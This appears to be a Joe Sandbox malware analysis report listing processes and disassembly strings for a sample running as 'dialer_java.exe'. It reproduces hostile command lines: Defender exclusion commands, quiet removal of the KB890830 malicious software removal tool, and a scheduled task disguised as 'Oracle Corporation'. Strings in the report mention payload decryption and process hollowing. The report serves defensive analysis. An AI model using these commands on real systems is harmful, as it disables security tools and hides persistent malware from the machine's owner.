                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:70
                                Start time:11:50:51
                                Start date:12/01/2025
                                Path:C:\Windows\System32\wusa.exe
                                Wow64 process (32bit):false
                                Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                Imagebase:0x7ff7a5710000
                                File size:345'088 bytes
                                MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:71
                                Start time:11:50:52
                                Start date:12/01/2025
                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                Imagebase:0x7ff788560000
                                File size:452'608 bytes
                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:72
                                Start time:11:50:52
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:73
                                Start time:11:51:03
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:74
                                Start time:11:51:03
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:75
                                Start time:11:51:03
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:76
                                Start time:11:51:03
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:77
                                Start time:11:51:03
                                Start date:12/01/2025
                                Path:C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
                                Wow64 process (32bit):false
                                Commandline:C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
                                Imagebase:0x7ff79aa00000
                                File size:1'245'320 bytes
                                MD5 hash:DD36F6F79E68D5E54C75527DB2DA97AD
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:78
                                Start time:11:51:03
                                Start date:12/01/2025
                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                Imagebase:0x7ff788560000
                                File size:452'608 bytes
                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:79
                                Start time:11:51:03
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:80
                                Start time:11:51:14
                                Start date:12/01/2025
                                Path:C:\Windows\System32\cmd.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                Imagebase:0x7ff744460000
                                File size:289'792 bytes
                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:81
                                Start time:11:51:14
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:82
                                Start time:11:51:14
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:83
                                Start time:11:51:14
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:84
                                Start time:11:51:14
                                Start date:12/01/2025
                                Path:C:\Windows\System32\wusa.exe
                                Wow64 process (32bit):false
                                Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                Imagebase:0x7ff7a5710000
                                File size:345'088 bytes
                                MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:85
                                Start time:11:51:14
                                Start date:12/01/2025
                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                Imagebase:0x7ff788560000
                                File size:452'608 bytes
                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:86
                                Start time:11:51:14
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:87
                                Start time:11:51:25
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:88
                                Start time:11:51:25
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:89
                                Start time:11:51:25
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:90
                                Start time:11:51:25
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:91
                                Start time:11:51:25
                                Start date:12/01/2025
                                Path:C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
                                Wow64 process (32bit):false
                                Commandline:C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
                                Imagebase:0x7ff779850000
                                File size:1'245'320 bytes
                                MD5 hash:DD36F6F79E68D5E54C75527DB2DA97AD
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:92
                                Start time:11:51:25
                                Start date:12/01/2025
                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                Imagebase:0x7ff788560000
                                File size:452'608 bytes
                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:93
                                Start time:11:51:25
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:94
                                Start time:11:51:35
                                Start date:12/01/2025
                                Path:C:\Windows\System32\cmd.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                Imagebase:0x7ff744460000
                                File size:289'792 bytes
                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:95
                                Start time:11:51:35
                                Start date:12/01/2025
                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                Imagebase:0x7ff788560000
                                File size:452'608 bytes
                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:96
                                Start time:11:51:35
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:97
                                Start time:11:51:35
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:98
                                Start time:11:51:35
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:99
                                Start time:11:51:35
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:100
                                Start time:11:51:36
                                Start date:12/01/2025
                                Path:C:\Windows\System32\wusa.exe
                                Wow64 process (32bit):false
                                Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                Imagebase:0x7ff7a5710000
                                File size:345'088 bytes
                                MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:101
                                Start time:11:51:46
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:102
                                Start time:11:51:46
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:103
                                Start time:11:51:46
                                Start date:12/01/2025
                                Path:C:\Windows\System32\schtasks.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"
                                Imagebase:0x7ff76f990000
                                File size:235'008 bytes
                                MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:104
                                Start time:11:51:46
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:124
                                Start time:11:52:01
                                Start date:12/01/2025
                                Path:C:\Windows\System32\Conhost.exe
                                Wow64 process (32bit):
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:
                                Has administrator privileges:
                                Programmed in:C, C++ or other language
                                Has exited:false

                                Disassembly

                                Reset < >

                                  Execution Graph

                                  Execution Coverage:0.5%
                                  Dynamic/Decrypted Code Coverage:0%
                                  Signature Coverage:48.1%
                                  Total number of Nodes:54
                                  Total number of Limit Nodes:2
                                  execution_graph 13824 7ff7796f1394 13828 7ff779718680 13824->13828 13826 7ff7796f13b8 13827 7ff7796f13c6 NtAccessCheckAndAuditAlarm 13826->13827 13829 7ff77971869e 13828->13829 13832 7ff7797186cb 13828->13832 13829->13826 13830 7ff779718773 13831 7ff77971878f malloc 13830->13831 13833 7ff7797187b0 13831->13833 13832->13829 13832->13830 13833->13829 13834 7ff7796f1140 13837 7ff7796f1160 13834->13837 13838 7ff7796f118b 13837->13838 13839 7ff7796f11b9 13837->13839 13838->13839 13845 7ff7796f1190 13838->13845 13840 7ff7796f11c7 _amsg_exit 13839->13840 13842 7ff7796f11d3 13839->13842 13840->13842 13841 7ff7796f11a0 Sleep 13841->13839 13841->13845 13843 7ff7796f1201 _initterm 13842->13843 13844 7ff7796f121a 13842->13844 13843->13844 13862 7ff7796f2410 13844->13862 13845->13839 13845->13841 13847 7ff7796f1247 SetUnhandledExceptionFilter 13848 7ff7796f126a 13847->13848 13849 7ff7796f126f malloc 13848->13849 13850 7ff7796f128b 13849->13850 13853 7ff7796f12d2 13849->13853 13851 7ff7796f12a0 strlen malloc memcpy 13850->13851 13851->13851 13852 7ff7796f12d0 13851->13852 13852->13853 13872 7ff779713b80 13853->13872 13863 7ff7796f2432 13862->13863 13868 7ff7796f259f 13862->13868 13864 7ff7796f24e6 13863->13864 13867 7ff7796f252e 13863->13867 13863->13868 13864->13867 14051 7ff7796f2730 13864->14051 13866 7ff7796f2579 VirtualProtect 13866->13867 13867->13866 13867->13868 13869 7ff7796f26c6 13867->13869 13868->13847 13870 7ff7796f2730 4 API calls 13869->13870 13871 7ff7796f26e3 13870->13871 13874 7ff779713b96 13872->13874 13873 7ff779713c8c wcslen 14061 7ff7796f153f 13873->14061 13874->13873 14054 7ff7796f2752 14051->14054 14052 7ff7796f2794 memcpy 14052->13864 14054->14052 14055 7ff7796f27d5 VirtualQuery 14054->14055 14056 7ff7796f2884 14054->14056 14055->14056 14057 7ff7796f2802 14055->14057 14058 7ff7796f28b3 GetLastError 14056->14058 14057->14052 14060 7ff7796f2834 VirtualProtect 14057->14060 14059 7ff7796f28c7 14058->14059 14060->14052 14060->14058 14065 7ff7796f1394 14061->14065 14063 7ff7796f154e 14064 7ff7796f1394 2 API calls 14063->14064 14066 7ff779718680 malloc 14065->14066 14067 7ff7796f13b8 14066->14067 14068 7ff7796f13c6 NtAccessCheckAndAuditAlarm 14067->14068 14068->14063

                                  Executed Functions

                                  Function 00007FF7796F1160 Relevance: 13.6, APIs: 9, Instructions: 130sleepstringCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                  • String ID:
                                  • API String ID: 2643109117-0
                                  • Opcode ID: db9654a873d05972df7c4cd3774028c37a5ca561359b6cfc46425ec131679173
                                  • Instruction ID: 859b55a210e303dee70b12cdf0393a1db81a695c45785cc585f8ddacaf8ac112
                                  • Opcode Fuzzy Hash: db9654a873d05972df7c4cd3774028c37a5ca561359b6cfc46425ec131679173
                                  • Instruction Fuzzy Hash: 0E512D73A7A647C5E610FF15E95037AE2B3AF887D0F815935C90D873A1EE2CA4928360
                                  Function 00007FF7796F1394 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                  • NtAccessCheckAndAuditAlarm.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7796F1156), ref: 00007FF7796F13F7
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: AccessAlarmAuditCheck
                                  • String ID:
                                  • API String ID: 3751321277-0
                                  • Opcode ID: 27820dc2d2f6668a26f19431ae4115d453894afd47fcb02c8a0a545cebde311c
                                  • Instruction ID: 797ff8d0504be303928bad8b3b24b7f54397fde58dac6c28fada1ec54cdc10f8
                                  • Opcode Fuzzy Hash: 27820dc2d2f6668a26f19431ae4115d453894afd47fcb02c8a0a545cebde311c
                                  • Instruction Fuzzy Hash: 6FF06672A3AB42C6D620EF51F8515AAB771FB89BC0B405835EA8C56725DF3CE1508BA0

                                  Non-executed Functions

                                  Function 00007FF779713B80 Relevance: 140.1, APIs: 67, Strings: 12, Instructions: 1888COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: memset$wcscat$wcscpywcslen$_wcsnicmp$_wcsicmp$memcpy
                                  • String ID: $VlwdBRpVDxIeEBMWCl9QWFxaRVcNBw8XCQIZF1ZKICIsTlReVEpHemZfLhgXCVIfFxgUHgcHUVpcRURSSxAYGgQQWEoeAQ0HVkxVCgcKFwQTGUkaAQoeFx4EEQRFCxobRRQMBhIaDgRDUUpJUE1CW10HDgNHHQ0LBklJfWFIVUo+EQwPERALBFJucFlEQlJVMAUIAzwbBR8KDgVOZmJVVmNDRVQzGxgVAAYeRxAQBwxORSIZCQsAHQlVenpLSFVWVkwn$[ERROR] Failed to decrypt payload$[ERROR] Invalid process handle$[INFO] Mutex already exists: %s$[INFO] Mutex not found: %s$[INFO] Process handle closed$[INFO] Process hollowing executed for program: %s$[INFO] inject_process completed$[INFO] inject_process started$[SUCCESS] Payload decrypted, size: %zu bytes$[SUCCESS] Process handle obtained: 0x%p
                                  • API String ID: 1844779378-2110838316
                                  • Opcode ID: 50f3b661096dc7b1e19b12610b6c206130408c8fe2271caf19ca8527248b59a1
                                  • Instruction ID: decc03c90cdf1112e3c2f2827ba1aea1c647a8bdc9188ba7425db820ff907c50
                                  • Opcode Fuzzy Hash: 50f3b661096dc7b1e19b12610b6c206130408c8fe2271caf19ca8527248b59a1
                                  • Instruction Fuzzy Hash: CF335E63CBE683C5F311AF28A8423F4E370BF99384F845A39D98C565A1EF6C6255C364
                                  Function 00007FF779700A70 Relevance: 57.8, APIs: 24, Strings: 8, Instructions: 1785stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: strlen
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$__uuidof$noexcept $operator$operator$starts_with(Res, "operator") && "operator name does not start with 'operator'"$this$throw
                                  • API String ID: 39653677-1316449214
                                  • Opcode ID: eeeaa255a0b47bf375ba76d33c8e646cc80b874b038ff034130d583932985c51
                                  • Instruction ID: 624e861d44e7db74e5d57e8c33a682c0b8f33aefbc957ee05b3928c334ba8331
                                  • Opcode Fuzzy Hash: eeeaa255a0b47bf375ba76d33c8e646cc80b874b038ff034130d583932985c51
                                  • Instruction Fuzzy Hash: 05E2E523A3AB8381EAA19F19E940379A7B1EB49BD0F844131DE9D07795EF3CE551C390
                                  Function 00007FF779706520 Relevance: 37.2, APIs: 16, Strings: 5, Instructions: 475COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
